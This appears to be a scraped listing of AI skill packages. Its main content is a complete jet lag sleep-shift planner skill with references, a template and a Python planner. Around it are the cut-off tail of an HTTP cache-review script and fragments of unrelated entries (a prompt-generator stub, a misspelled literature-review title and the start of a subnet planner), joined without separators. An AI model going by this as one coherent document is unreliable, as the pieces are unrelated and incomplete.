i = one("https://x/main.js", "Cache-Control: public, max-age=31536000, immutable")
ok("immutable unhashed", "IMMUTABLE_UNHASHED" in codes(i))
i = one("https://x/", "Content-Type: text/html", "Cache-Control: max-age=86400")
ok("html long ttl", "HTML_LONG_TTL" in codes(i))
i = one("https://x/", "Content-Type: text/html", "Cache-Control: no-cache", "ETag: \"1\"")
ok("html no-cache with etag clean", not codes(i) and i["browser_ttl_s"] == 0)
i = one("https://x/", "Content-Type: text/html", "Cache-Control: no-cache")
ok("no validator", "NO_VALIDATOR" in codes(i))
i = one("https://x/login", "Content-Type: text/html", "Cache-Control: public, max-age=600", "Set-Cookie: sid=1")
ok("public with cookie", "PUBLIC_WITH_COOKIE" in codes(i))
i = review(parse_blocks("### GET https://x/api/me\n> Authorization: Bearer t\nHTTP/2 200\ncontent-type: application/json\ncache-control: public, s-maxage=300")[0])
ok("auth shared cache", "AUTH_SHARED_CACHE" in codes(i) and i["shared_ttl_s"] == 300)
i = review(parse_blocks("### GET https://x/api/me\n> Cookie: sid=1\nHTTP/2 200\ncontent-type: application/json\ncache-control: max-age=60")[0])
ok("personal not private", "PERSONAL_NOT_PRIVATE" in codes(i))
i = one("https://x/api/me", "Content-Type: application/json", "Cache-Control: private, max-age=60")
ok("private hides from cdn", i["shared_ttl_s"] == 0 and i["browser_ttl_s"] == 60)
i = one("https://x/a.css", "Cache-Control: no-store, max-age=60")
ok("no-store conflict and asset no caching", {"NO_STORE_CONFLICT", "ASSET_NO_CACHING"} <= codes(i))
i = one("https://x/a.css", "Cache-Control: public, max-age=600", "Vary: *")
ok("vary star", "VARY_STAR" in codes(i))
i = one("https://x/a.css", "Cache-Control: public, max-age=600", "Vary: Accept-Encoding, User-Agent")
ok("vary user-agent fragments", "VARY_FRAGMENTS" in codes(i))
i = one("https://x/logo.png", "Date: Wed, 21 Oct 2026 10:00:00 GMT", "Last-Modified: Mon, 11 Oct 2026 10:00:00 GMT")
ok("heuristic 10% of 10 days = 1 day", "HEURISTIC_ONLY" in codes(i) and i["browser_ttl_s"] == 86400)
i = one("https://x/logo.png", "Date: Wed, 21 Oct 2026 10:00:00 GMT", "Expires: Wed, 21 Oct 2026 11:00:00 GMT")
ok("expires only gives 1h", "EXPIRES_ONLY" in codes(i) and i["browser_ttl_s"] == 3600)
i = one("https://x/", "Content-Type: text/html", "Pragma: no-cache")
ok("pragma only", "PRAGMA_ONLY" in codes(i))
i = review(parse_blocks("### GET https://x/a.css\nHTTP/1.1 503 Service Unavailable\ncache-control: public, max-age=3600")[0])
ok("error cached", "ERROR_CACHED" in codes(i))
ok("repeated cache-control merged", parse_blocks("### GET https://x/a\nHTTP/1.1 200\ncache-control: public\ncache-control: max-age=5")[0]["headers"]["cache-control"] == "public, max-age=5")
try:
parse_blocks("HTTP/1.1 200 OK\n")
ok("missing ### rejected", False)
except CacheError:
ok("missing ### rejected", True)
ok("fmt_s", fmt_s(31536000) == "365d" and fmt_s(600) == "10m" and fmt_s(45) == "45s" and fmt_s(699840) == "8.1d")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Review HTTP caching headers.")
ap.add_argument("file", nargs="?", help="responses text file ('-' for stdin)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("responses file required (or --self-test)")
try:
text = sys.stdin.read() if a.file == "-" else open(a.file, encoding="utf-8").read()
r = audit(text)
except (OSError, CacheError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["high_flags"] else 0
if __name__ == "__main__":
sys.exit(main())Builds a day-by-day jet lag plan from flight times and your usual sleep hours. Computes the DST-aware time difference, chooses advance or delay (including the long way round for big eastward trips), estimates days to adjust, and lists pre-trip bedtime shifts, in-flight sleep, and daily sleep windows, light to seek and avoid, caffeine cut-off and nap limits. Flags short trips. Includes a stdlib Python planner with --self-test.
---
name: jet-lag-sleep-shift-planner
description: Builds a day-by-day jet lag plan from flight times and your usual sleep hours. Computes the DST-aware time difference, chooses advance or delay (including the long way round for big eastward trips), estimates days to adjust, and lists pre-trip bedtime shifts, in-flight sleep, and daily sleep windows, light to seek and avoid, caffeine cut-off and nap limits. Flags short trips. Includes a stdlib Python planner with --self-test.
---
# Jet Lag Sleep Shift Planner
You help travelers arrive rested. From real flight times and their normal sleep schedule, you build a practical day-by-day plan: when to sleep, when to get bright light and when to avoid it, when to stop coffee, whether to sleep on the plane, and whether shifting before the trip is worth it. You explain the why in plain words and keep the plan realistic for the person's calendar.
## Files in this skill
- `scripts/jetlag_plan.py` - computes the shift, strategy, pre-trip days, in-flight sleep and a daily table of sleep, light, caffeine and nap times (Python 3 standard library only; IANA zones via zoneinfo or fixed offsets like UTC+3)
- `references/body-clock-basics.md` - body clock, adjustment rates, the light rule around CBTmin, meals, caffeine, naps, melatonin caution, when to see a doctor
- `references/trip-strategies.md` - strategy by trip length, pre-trip shifting, on the plane, arrival day, the return trip, a checklist
- `templates/jet-lag-plan.md` - a one-page plan to fill in or print
- `examples/istanbul-to-los-angeles.json` - an 11-hour westward conference trip in November, with a return trip
## Workflow
### 1. Gather the trip
Ask for origin and destination cities (or time zones), departure local time and date, arrival local time and date, the usual bedtime and wake time, how many days they can shift before the trip (0-3), how long they stay, and any important events (talks, meetings, a wedding). Also ask if they have health conditions or time-critical medication; if yes, add a reminder to plan it with a doctor or pharmacist.
### 2. Run the planner
```
python3 scripts/jetlag_plan.py examples/istanbul-to-los-angeles.json
python3 scripts/jetlag_plan.py --from Europe/Istanbul --to Asia/Tokyo --depart 2026-11-10T01:30 --arrive 2026-11-10T19:05 --bedtime 23:00 --wake 07:00 --pre-days 3 --stay 10
python3 scripts/jetlag_plan.py trip.json --json
python3 scripts/jetlag_plan.py --self-test
```
If the tz database is missing (some Windows Pythons), use offsets like `UTC+3` and `-8`, or `pip install tzdata`. Exit code 2 means bad input.
### 3. Shape the plan
Use `references/trip-strategies.md`: for SHORT_TRIP, recommend staying on home time; for SMALL_SHIFT, no special plan. Move important events into the body's good hours or suggest arriving earlier. Explain the light windows with `references/body-clock-basics.md` and give practical ways to follow them (morning walk, window seat at breakfast, sunglasses on the commute, dim lights in the hotel).
### 4. Deliver
Fill `templates/jet-lag-plan.md` with the table and the 3-5 most important actions. Offer to add the sleep and light windows as calendar reminders.
## Example result
For `examples/istanbul-to-los-angeles.json` (Istanbul -> Los Angeles on 2026-11-03, after US DST ends): -11 h, delay at about 1.5 h/day; 2 pre-trip days with bedtime 00:30 then 01:30; sleep on the plane during LA night 02:40-07:00; about 6 days to adjust after arrival, starting with sleep 21:30-05:30 and bright light 16:30-19:30 on day 0, back to 23:30-07:30 on day 6; the return trip (+11 h) is planned the long way round as a 13 h delay, about 9 days.
## Rules
- This is general wellness guidance, not medical advice; do not give melatonin or sleep medication doses.
- Respect the person's constraints (kids, work hours); a partial plan they follow beats a perfect one they skip.
- Never suggest unsafe sleep deprivation or driving while very sleepy; recommend a nap or a taxi instead.
- Use local times in every table and say which clock (home or destination) each section uses.
FILE:references/body-clock-basics.md
# Body Clock Basics for Travelers
## Why jet lag happens
Your body clock (circadian rhythm) runs on home time and shifts only gradually. After crossing time zones, sleepiness, hunger, alertness and digestion stay on home time for days. Typical symptoms: trouble falling asleep or waking at 3 a.m., daytime sleepiness, poor focus, upset stomach.
## How fast the clock moves
| Direction | Clock change | Typical rate | Feels like |
|---|---|---|---|
| East (Istanbul -> Tokyo) | advance (earlier) | about 1 h per day | harder; trouble falling asleep at night |
| West (Istanbul -> Los Angeles) | delay (later) | about 1.5 h per day | easier; sleepy early evening, awake at 4 a.m. |
These are averages; age, sleep debt, alcohol and light exposure change them.
For shifts of about 10-12 hours east, the clock often adjusts "the long way round" by delaying instead (for example +11 h east becomes -13 h of delay at 1.5 h/day = 9 days instead of 11). The planner picks whichever takes fewer days.
## The light rule
The strongest signal for the body clock is bright light. Its effect depends on timing relative to the **core body temperature minimum (CBTmin)**, which falls about 2-3 hours before your usual wake time (for a 07:30 riser, around 04:30 body time).
- Light in the ~3 hours **after** CBTmin moves the clock **earlier** (advance; needed when flying east).
- Light in the ~3 hours **before** CBTmin moves the clock **later** (delay; needed when flying west).
- Light at the wrong time pushes the clock the wrong way, which is why the plan also lists times to avoid bright light (sunglasses outdoors, dim indoor lights, screen night mode).
Because CBTmin moves each day, the windows move too. When a window falls during sleep, the planner moves it to the nearest waking time.
## Other signals
- **Sleep timing:** keep the plan's sleep window, even if you cannot sleep at first; rest in the dark.
- **Meals:** eat on local time from the first day; a big breakfast in daylight helps when advancing.
- **Exercise:** morning exercise helps advance, early-evening exercise helps delay; avoid hard workouts within 2 hours of bed.
- **Caffeine:** helps alertness but stays in the body for 5-6 hours (half-life); stop about 8 hours before bed.
- **Naps:** up to 20 minutes, before the plan's "naps end by" time. Long naps anchor you to home time.
- **Alcohol:** makes sleep worse and dehydration worse; skip it on the flight.
- **Melatonin:** often used for eastward trips, but timing and dose matter and it is a medicine in many countries. Ask a doctor or pharmacist; the planner gives no dosing.
## When to see a doctor first
Pregnancy, epilepsy, bipolar disorder (light and sleep changes can trigger episodes), diabetes with insulin (meal and dose timing across zones), heart conditions, sleep apnea, or regular medication taken at fixed times (contraceptive pills, anticoagulants, epilepsy drugs). Plan the medication schedule with a professional.
FILE:references/trip-strategies.md
# Trip Strategies
## Pick the strategy by trip length and shift
| Trip | Shift | Strategy |
|---|---|---|
| 1-2 days | any | Stay on home time. Book meetings inside your home daytime, keep home sleep hours, use caffeine and short naps. |
| 3-5 days | up to 3 h | Switch to local time on arrival; no pre-trip shift needed. |
| 3-5 days | 4+ h | Partial shift: 1-2 pre-trip days and the light plan for the first days; accept some lag. |
| 6+ days | 4+ h | Full plan: 2-3 pre-trip days, light plan until adjusted. |
| Important event on day 1-2 | 6+ h | Arrive earlier if possible (one day per 1-1.5 h of shift is ideal), or schedule the event in the body's best hours. |
## Pre-trip shifting
Move bedtime and wake time 1 hour per day toward the destination for 1-3 days (earlier for east, later for west), with light at the planner's "seek" times. Even 2 hours of pre-shift removes 1-2 days of jet lag. Stop if it hurts work or family routines; partial is fine.
## On the plane
- Set your watch and phone to destination time when you board.
- If the flight crosses destination night, sleep then: eye mask, ear plugs or noise-cancelling headphones, neck pillow, no alcohol. Otherwise stay awake with light and short naps only.
- Drink water regularly; walk and stretch every 1-2 hours.
- Eat at destination meal times when practical.
## Arrival day
- Westward evening arrival: go outside in daylight if any is left, stay up until the planned bedtime (a 20-minute nap before the cut-off is fine).
- Eastward morning arrival: follow the seek/avoid light windows; if you must work, put bright tasks in the seek window.
## Coming home
The return trip is a new shift in the opposite direction. Use the planner again with the return flight; plan 1-2 easy days after landing if you can.
## Business traveler checklist
- [ ] Planner run with real flight times
- [ ] Calendar: no critical meetings in the body's night
- [ ] Hotel: blackout curtains or eye mask; ask for a quiet room
- [ ] Light: sunglasses for avoid windows, a walk or a light box for seek windows
- [ ] Medication timing checked with a pharmacist
FILE:templates/jet-lag-plan.md
# Jet Lag Plan - <traveler> - <origin> to <destination>
**Flight:** <depart local> -> <arrive local> (<hours> h) **Time difference:** <+/- h> **Strategy:** <advance / delay / stay on home time>
**Usual sleep:** <bedtime>-<wake> **Pre-trip shift:** <h> **Expected days to adjust:** <n>
## Before the trip
| Date | Sleep | Bright light | Avoid light | Notes |
|---|---|---|---|---|
| | | | | |
## Flight
- Sleep on board: <times or "stay awake">
- Meals: <destination times>
- Watch set to destination time: [ ]
## At the destination
| Date | Sleep | Bright light | Avoid light | Caffeine until | Naps end by | Key events |
|---|---|---|---|---|---|---|
| | | | | | | |
## Packing
- [ ] Eye mask and ear plugs - [ ] Sunglasses - [ ] Water bottle - [ ] Medication schedule (checked with a professional)
## Return
- Shift: <h>, about <n> days to readjust; easy days planned: <dates>
FILE:examples/istanbul-to-los-angeles.json
{
"traveler": "conference trip, usual sleep 23:30-07:30",
"from_tz": "Europe/Istanbul",
"to_tz": "America/Los_Angeles",
"depart": "2026-11-03T13:40",
"arrive": "2026-11-03T17:25",
"bedtime": "23:30",
"wake": "07:30",
"pre_trip_days": 2,
"stay_days": 8,
"return_trip": true
}
FILE:scripts/jetlag_plan.py
#!/usr/bin/env python3
"""Jet lag sleep shift planner (Python 3 standard library only).
Input: a trip JSON file (or the same fields as command-line flags):
{"from_tz": "Europe/Istanbul", "to_tz": "America/Los_Angeles",
"depart": "2026-11-03T13:40", "arrive": "2026-11-03T17:25",
"bedtime": "23:30", "wake": "07:30", "pre_trip_days": 2, "stay_days": 8}
Time zones: IANA names (zoneinfo, DST-aware; needs the system tz database or the tzdata
package) or fixed offsets like "UTC+3", "+05:30", "-8". depart is local time at the origin,
arrive is local time at the destination.
Model (rules of thumb used by sleep clinics, not a medical device):
- shift = destination offset - origin offset, normalized to -12..+12 h (+ = east).
- the body clock moves about 1 h/day when advancing (eastward) and 1.5 h/day when
delaying (westward); for big eastward shifts the planner picks the direction that
takes fewer days (often delaying "the long way round").
- optional pre-trip shift: 1 h/day for pre_trip_days, toward the destination.
- core body temperature minimum (CBTmin) ~3 h before usual wake time. Light in the 3 h
after CBTmin advances the clock, light in the 3 h before it delays the clock.
- planned sleep is a compromise: target local bedtime moved toward body time by
min(2 h, half the remaining gap). Caffeine stops 8 h and naps (max 20 min) end 7 h
before planned bedtime.
Usage:
python3 jetlag_plan.py trip.json
python3 jetlag_plan.py --from Europe/Istanbul --to Asia/Tokyo --depart 2026-11-10T01:30 \
--arrive 2026-11-10T19:05 --bedtime 23:00 --wake 07:00 --pre-days 3 --stay 10
python3 jetlag_plan.py trip.json --json
python3 jetlag_plan.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import datetime as dt
import json
import math
import re
import sys
ADVANCE_RATE = 1.0
DELAY_RATE = 1.5
class TripError(ValueError):
pass
def parse_tz(name):
s = str(name).strip()
m = re.fullmatch(r"(?:UTC|GMT)?\s*([+-])(\d{1,2})(?::?(\d{2}))?", s, re.I)
if m:
sign = 1 if m.group(1) == "+" else -1
mins = int(m.group(2)) * 60 + int(m.group(3) or 0)
if mins > 14 * 60:
raise TripError(f"offset out of range: {s!r}")
return dt.timezone(dt.timedelta(minutes=sign * mins), s)
if s.upper() in ("UTC", "GMT", "Z"):
return dt.timezone.utc
try:
from zoneinfo import ZoneInfo
return ZoneInfo(s)
except Exception:
raise TripError(f"unknown time zone {s!r}; use an IANA name like Europe/Istanbul or an offset like UTC+3")
def parse_hm(s, field):
m = re.fullmatch(r"(\d{1,2}):(\d{2})", str(s).strip())
if not m or int(m.group(1)) > 23 or int(m.group(2)) > 59:
raise TripError(f"{field} must be HH:MM, got {s!r}")
return int(m.group(1)) * 60 + int(m.group(2))
def parse_local(s, tz, field):
try:
t = dt.datetime.fromisoformat(str(s).strip())
except ValueError:
raise TripError(f"{field} must be YYYY-MM-DDTHH:MM, got {s!r}")
if t.tzinfo is not None:
t = t.replace(tzinfo=None)
return t.replace(tzinfo=tz)
def hm(mins):
mins = round(mins) % 1440
return f"{mins // 60:02d}:{mins % 60:02d}"
def offset_h(t):
return t.utcoffset().total_seconds() / 3600
def choose_direction(shift):
"""shift in -12..12 (east positive). Return (signed hours to move the body, rate, label)."""
if shift == 0:
return 0.0, ADVANCE_RATE, "none"
if shift > 0:
adv_days = math.ceil(shift / ADVANCE_RATE)
alt = shift - 24
del_days = math.ceil(-alt / DELAY_RATE)
if del_days < adv_days:
return alt, DELAY_RATE, "delay (long way round)"
return shift, ADVANCE_RATE, "advance"
del_days = math.ceil(-shift / DELAY_RATE)
alt = shift + 24
adv_days = math.ceil(alt / ADVANCE_RATE)
if adv_days < del_days:
return alt, ADVANCE_RATE, "advance (long way round)"
return shift, DELAY_RATE, "delay"
def night_overlap(start_utc, end_utc, tz, night_start=22 * 60, night_end=7 * 60):
"""Return list of (start_local, end_local) pieces of the flight inside destination nights."""
pieces = []
t = start_utc
step = dt.timedelta(minutes=5)
cur = None
while t < end_utc:
loc = t.astimezone(tz)
m = loc.hour * 60 + loc.minute
is_night = m >= night_start or m < night_end
if is_night and cur is None:
cur = loc
if not is_night and cur is not None:
pieces.append((cur, loc))
cur = None
t += step
if cur is not None:
pieces.append((cur, end_utc.astimezone(tz)))
return pieces
def overlap(a0, a1, b0, b1):
"""Minutes of overlap between [a0, a1) and [b0, b1) on a 24 h circle."""
best = 0
for k in (-1440, 0, 1440):
best += max(0, min(a1, b1 + k) - max(a0, b0 + k))
return best
def light_windows(cbt, sign, sleep_start, sleep_len):
"""Seek/avoid windows around CBTmin, moved or clipped to waking hours.
sign > 0 (advance): seek 3 h after CBTmin, avoid 3 h before; sign < 0 (delay): the reverse.
A seek window that falls into planned sleep moves to the nearest waking edge (after wake
when advancing, before bedtime when delaying). Avoid windows are clipped to waking time."""
sleep_end = sleep_start + sleep_len
if sign > 0:
seek, avoid = (cbt, cbt + 180), (cbt - 180, cbt)
if overlap(seek[0], seek[1], sleep_start, sleep_end):
seek = (sleep_end, sleep_end + 180)
else:
seek, avoid = (cbt - 180, cbt), (cbt, cbt + 180)
if overlap(seek[0], seek[1], sleep_start, sleep_end):
seek = (sleep_start - 180, sleep_start)
ov = overlap(avoid[0], avoid[1], sleep_start, sleep_end)
if ov >= 180:
avoid_s = "asleep"
elif ov:
# keep the waking part of the avoid window
a0, a1 = avoid
if overlap(a0, a0 + 1, sleep_start, sleep_end):
a0 = a1 - (180 - ov)
else:
a1 = a0 + (180 - ov)
avoid_s = f"{hm(a0)}-{hm(a1)}"
else:
avoid_s = f"{hm(avoid[0])}-{hm(avoid[1])}"
return f"{hm(seek[0])}-{hm(seek[1])}", avoid_s
def plan(trip):
for k in ("from_tz", "to_tz", "depart", "arrive"):
if not trip.get(k):
raise TripError(f"missing {k}")
ftz, ttz = parse_tz(trip["from_tz"]), parse_tz(trip["to_tz"])
dep = parse_local(trip["depart"], ftz, "depart")
arr = parse_local(trip["arrive"], ttz, "arrive")
if arr.astimezone(dt.timezone.utc) <= dep.astimezone(dt.timezone.utc):
raise TripError("arrive must be after depart (check the dates and time zones)")
bed = parse_hm(trip.get("bedtime", "23:00"), "bedtime")
wake = parse_hm(trip.get("wake", "07:00"), "wake")
sleep_len = (wake - bed) % 1440
if not 4 * 60 <= sleep_len <= 12 * 60:
raise TripError("bedtime to wake must be 4-12 hours")
pre = int(trip.get("pre_trip_days", 0))
stay = int(trip.get("stay_days", 7))
if pre < 0 or pre > 4 or stay < 1:
raise TripError("pre_trip_days must be 0-4 and stay_days at least 1")
shift = offset_h(arr) - offset_h(dep.astimezone(ftz))
shift = ((shift + 12) % 24) - 12 if abs(shift) > 12 else shift
if shift == -12:
shift = 12.0
move, rate, direction = choose_direction(shift)
sign = 1 if move > 0 else -1
flags = []
if abs(shift) <= 2:
flags.append("SMALL_SHIFT: 2 h or less; most people adapt within a day, keep usual habits on local time")
if stay <= 2 and abs(shift) >= 3:
flags.append("SHORT_TRIP: 2 days or fewer; consider staying on home time and scheduling meetings inside your home daytime")
if "long way round" in direction:
flags.append(f"LONG_WAY_ROUND: a {shift:+g} h shift is planned as {move:+g} h, which usually takes fewer days")
pre_used = min(pre, int(abs(move))) if move else 0
pre_days = []
for i in range(1, pre_used + 1):
b = bed - sign * 60 * i
cbt = wake - 180 - sign * 60 * i
seek_s, avoid_s = light_windows(cbt, sign, b, sleep_len)
pre_days.append({"day": f"pre {i - pre_used - 1}", "date": str((dep.date() - dt.timedelta(days=pre_used - i + 1))),
"sleep": f"{hm(b)}-{hm(b + sleep_len)}", "seek_light": seek_s,
"avoid_light": avoid_s, "clock": "home time"})
body = sign * pre_used # hours already moved toward destination
total = abs(move)
days_needed = math.ceil(max(0.0, total - pre_used) / rate) if move else 0
days = []
d = 0
while True:
remaining = move - body # signed hours the body is still away from local time
gap = abs(remaining)
comp = min(120, gap * 60 / 2)
# remaining > 0: body clock is behind local time, so it wants to sleep later (and vice versa)
b = bed + (comp if remaining > 0 else -comp) if gap else bed
cbt_local = (wake - 180) + remaining * 60
if gap < 0.5:
seek_s, avoid_s = "daylight as usual", "-"
else:
seek_s, avoid_s = light_windows(cbt_local, sign, b, sleep_len)
if remaining > 0:
status = f"{gap:g} h behind local time"
elif remaining < 0:
status = f"{gap:g} h ahead of local time"
else:
status = "adjusted"
days.append({"day": d, "date": str(arr.date() + dt.timedelta(days=d)), "body_clock": status,
"sleep": f"{hm(b)}-{hm(b + sleep_len)}", "seek_light": seek_s, "avoid_light": avoid_s,
"caffeine_until": hm(b - 480), "naps_end_by": hm(b - 420)})
if gap == 0 or d + 1 >= stay:
break
body = body + sign * min(rate, gap)
d += 1
flight_h = (arr.astimezone(dt.timezone.utc) - dep.astimezone(dt.timezone.utc)).total_seconds() / 3600
nights = night_overlap(dep.astimezone(dt.timezone.utc), arr.astimezone(dt.timezone.utc), ttz)
nights = [(a, b) for a, b in nights if (b - a).total_seconds() >= 3600]
if nights:
inflight = "sleep during destination night: " + "; ".join(f"{a:%a %H:%M}-{b:%H:%M}" for a, b in nights)
else:
inflight = "flight is during destination daytime: stay awake, get daylight/screen light, at most a 20-minute nap"
res = {"from_tz": str(trip["from_tz"]), "to_tz": str(trip["to_tz"]), "shift_h": shift, "plan_move_h": move,
"direction": direction, "rate_h_per_day": rate, "pre_trip_shift_h": pre_used,
"days_to_adjust_after_arrival": days_needed, "flight_h": round(flight_h, 2),
"arrive_local": arr.strftime("%Y-%m-%d %H:%M"), "in_flight": inflight, "flags": flags,
"pre_trip": pre_days, "days": days}
if trip.get("return_trip"):
back, brate, bdir = choose_direction(-shift)
res["return"] = {"shift_h": -shift, "direction": bdir,
"days_to_adjust": math.ceil(abs(back) / brate) if back else 0}
return res
def to_markdown(r):
out = [f"# Jet lag plan: {r['from_tz']} -> {r['to_tz']}", "",
f"- Time difference: {r['shift_h']:+g} h ({'east' if r['shift_h'] > 0 else 'west' if r['shift_h'] < 0 else 'none'}); "
f"plan: {r['direction']} {abs(r['plan_move_h']):g} h at about {r['rate_h_per_day']:g} h/day",
f"- Pre-trip shift: {r['pre_trip_shift_h']} h; about {r['days_to_adjust_after_arrival']} day(s) to adjust after arrival",
f"- Flight: {r['flight_h']:g} h, arriving {r['arrive_local']} local; {r['in_flight']}"]
if "return" in r:
out.append(f"- Return trip: {r['return']['shift_h']:+g} h, {r['return']['direction']}, about {r['return']['days_to_adjust']} day(s) to readjust")
for f in r["flags"]:
out.append(f"- **{f.split(':')[0]}**:{f.split(':', 1)[1]}")
if r["pre_trip"]:
out += ["", "## Before you fly (home time)", "| Day | Date | Sleep | Seek bright light | Avoid bright light |", "|---|---|---|---|---|"]
for p in r["pre_trip"]:
out.append(f"| {p['day']} | {p['date']} | {p['sleep']} | {p['seek_light']} | {p['avoid_light']} |")
out += ["", "## At the destination (local time)",
"| Day | Date | Body clock | Sleep | Seek bright light | Avoid bright light | Caffeine until | Naps end by |",
"|---|---|---|---|---|---|---|---|"]
for d in r["days"]:
out.append(f"| {d['day']} | {d['date']} | {d['body_clock']} | {d['sleep']} | {d['seek_light']} | {d['avoid_light']} | {d['caffeine_until']} | {d['naps_end_by']} |")
out += ["", "Light windows that fall inside your sleep time can be skipped; use sunglasses outdoors during 'avoid' windows.",
"Rules of thumb only. Ask a doctor or pharmacist before using melatonin or sleep medication."]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = {"from_tz": "Europe/Istanbul", "to_tz": "America/Los_Angeles", "depart": "2026-11-03T13:40",
"arrive": "2026-11-03T17:25", "bedtime": "23:30", "wake": "07:30", "pre_trip_days": 2, "stay_days": 10}
ok("fixed offset parse", parse_tz("UTC+3").utcoffset(None) == dt.timedelta(hours=3) and parse_tz("+05:30").utcoffset(None) == dt.timedelta(hours=5, minutes=30))
ok("negative offset parse", parse_tz("-8").utcoffset(None) == dt.timedelta(hours=-8))
r = plan(base)
ok("IST->LA after US DST ends is -11 h", r["shift_h"] == -11)
ok("westward plan delays", r["direction"] == "delay" and r["plan_move_h"] == -11)
ok("pre-trip 2 h used", r["pre_trip_shift_h"] == 2 and len(r["pre_trip"]) == 2)
ok("days to adjust ceil(9/1.5)=6", r["days_to_adjust_after_arrival"] == 6)
ok("pre-trip bedtime later for westward", r["pre_trip"][0]["sleep"].startswith("00:30") and r["pre_trip"][1]["sleep"].startswith("01:30"))
ok("day 0 body 9 h ahead", r["days"][0]["body_clock"] == "9 h ahead of local time")
ok("day 0 compromise bedtime 21:30", r["days"][0]["sleep"] == "21:30-05:30")
ok("delay: seek light before CBTmin", r["days"][0]["seek_light"] == "16:30-19:30")
ok("delay: avoid window clipped at bedtime", r["days"][0]["avoid_light"] == "19:30-21:30")
ok("delay: seek window moved before bedtime", r["days"][3]["seek_light"] == "18:30-21:30" and r["days"][3]["avoid_light"] == "asleep")
ok("pre-trip delay light in the evening", r["pre_trip"][0]["seek_light"] == "21:30-00:30")
ok("overlap on circle", overlap(1380, 1500, 0, 60) == 60 and overlap(600, 700, 0, 60) == 0)
ok("plan ends adjusted", r["days"][-1]["body_clock"] == "adjusted" and r["days"][-1]["sleep"] == "23:30-07:30")
ok("plan length 7 days (0..6)", len(r["days"]) == 7)
ok("flight of 14.75 h", r["flight_h"] == 14.75)
r2 = plan(dict(base, to_tz="America/Los_Angeles", depart="2026-10-20T13:40", arrive="2026-10-20T16:25"))
ok("IST->LA during US DST is -10 h", r2["shift_h"] == -10)
r3 = plan(dict(base, to_tz="Asia/Tokyo", depart="2026-11-10T01:30", arrive="2026-11-10T19:05", pre_trip_days=3))
ok("IST->Tokyo +6 advance", r3["shift_h"] == 6 and r3["direction"] == "advance" and r3["days_to_adjust_after_arrival"] == 3)
ok("advance: seek light moved to after wake", r3["days"][0]["seek_light"] == "09:00-12:00" and r3["days"][0]["avoid_light"] == "asleep")
ok("pre-trip bedtime earlier for eastward", r3["pre_trip"][0]["sleep"].startswith("22:30"))
ok("+11 east goes long way round", choose_direction(11) == (-13, DELAY_RATE, "delay (long way round)"))
ok("+9 east stays advance", choose_direction(9)[2] == "advance")
ok("-12 normalized to +12 then delay -12", choose_direction(12)[0] == -12)
r4 = plan(dict(base, to_tz="Europe/Berlin", depart="2026-11-03T08:00", arrive="2026-11-03T09:00", stay_days=2))
ok("small shift flag", any(f.startswith("SMALL_SHIFT") for f in r4["flags"]))
r5 = plan(dict(base, stay_days=2))
ok("short trip flag", any(f.startswith("SHORT_TRIP") for f in r5["flags"]) and len(r5["days"]) == 2)
ok("in-flight sleep in LA night 02:40-07:00", r["in_flight"].endswith("Tue 02:40-07:00"))
ok("Tokyo daytime flight: stay awake", "destination daytime" in r3["in_flight"])
ok("caffeine 8 h before bed", r["days"][-1]["caffeine_until"] == "15:30" and r["days"][-1]["naps_end_by"] == "16:30")
for bad, label in ((dict(base, to_tz="Mars/Olympus"), "unknown tz rejected"), (dict(base, bedtime="25:00"), "bad bedtime rejected"),
(dict(base, arrive="2026-11-02T10:00"), "arrival before departure rejected"), (dict(base, pre_trip_days=9), "pre-trip >4 rejected")):
try:
plan(bad)
ok(label, False)
except TripError:
ok(label, True)
ok("hm wraps midnight", hm(-30) == "23:30" and hm(1500) == "01:00")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Plan sleep and light timing to beat jet lag.")
ap.add_argument("file", nargs="?", help="trip JSON")
ap.add_argument("--from", dest="from_tz")
ap.add_argument("--to", dest="to_tz")
ap.add_argument("--depart")
ap.add_argument("--arrive")
ap.add_argument("--bedtime")
ap.add_argument("--wake")
ap.add_argument("--pre-days", type=int, dest="pre_trip_days")
ap.add_argument("--stay", type=int, dest="stay_days")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
trip = json.load(open(a.file, encoding="utf-8")) if a.file else {}
for k in ("from_tz", "to_tz", "depart", "arrive", "bedtime", "wake", "pre_trip_days", "stay_days"):
if getattr(a, k) is not None:
trip[k] = getattr(a, k)
r = plan(trip)
except (OSError, TripError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Draft compheling literature review ready for Q1 Journal publication requirment
Draft compheling literature review ready for Q1 Journal publication requirment
The God of Prompt is designed to create high-quality, versatile prompts for language models like ChatGPT and Claude. It harnesses various thinking styles, such as Critical, Creative, Systems, and Reflective Thinking, and incorporates a sophisticated AI Prompt Generator System persona. This GPT synthesizes user inputs, applies multiple prompt creation methods, and adheres to specific instructions and guidance, ensuring the generation of prompts that are tailored, insightful, and effective.
1---2name: god-of-prompt3description: The God of Prompt is designed to create high-quality, versatile prompts for language models like ChatGPT and Claude. It harnesses various thinking styles, such as Critical, Creative, Systems, and Reflective Thinking, and incorporates a sophisticated AI Prompt Generator System persona. This GPT synthesizes user inputs, applies multiple prompt creation methods, and adheres to specific instructions and guidance, ensuring the generation of prompts that are tailored, insightful, and effective.45---67# God of Prompt89Describe what this skill does and how the agent should use it.10...+51 more lines
Plans and checks IPv4 subnet layouts for AWS, Azure, GCP or on-prem networks. Sizes each subnet from host counts plus growth and the provider's reserved addresses, allocates aligned CIDR blocks largest-first, and flags overlapping subnets, VPC ranges that clash with peered VPCs, VPNs or the docker0 bridge, public ranges, size limits, low headroom and single-zone layouts. Includes a stdlib Python planner with --self-test.
---
name: vpc-subnet-cidr-planner
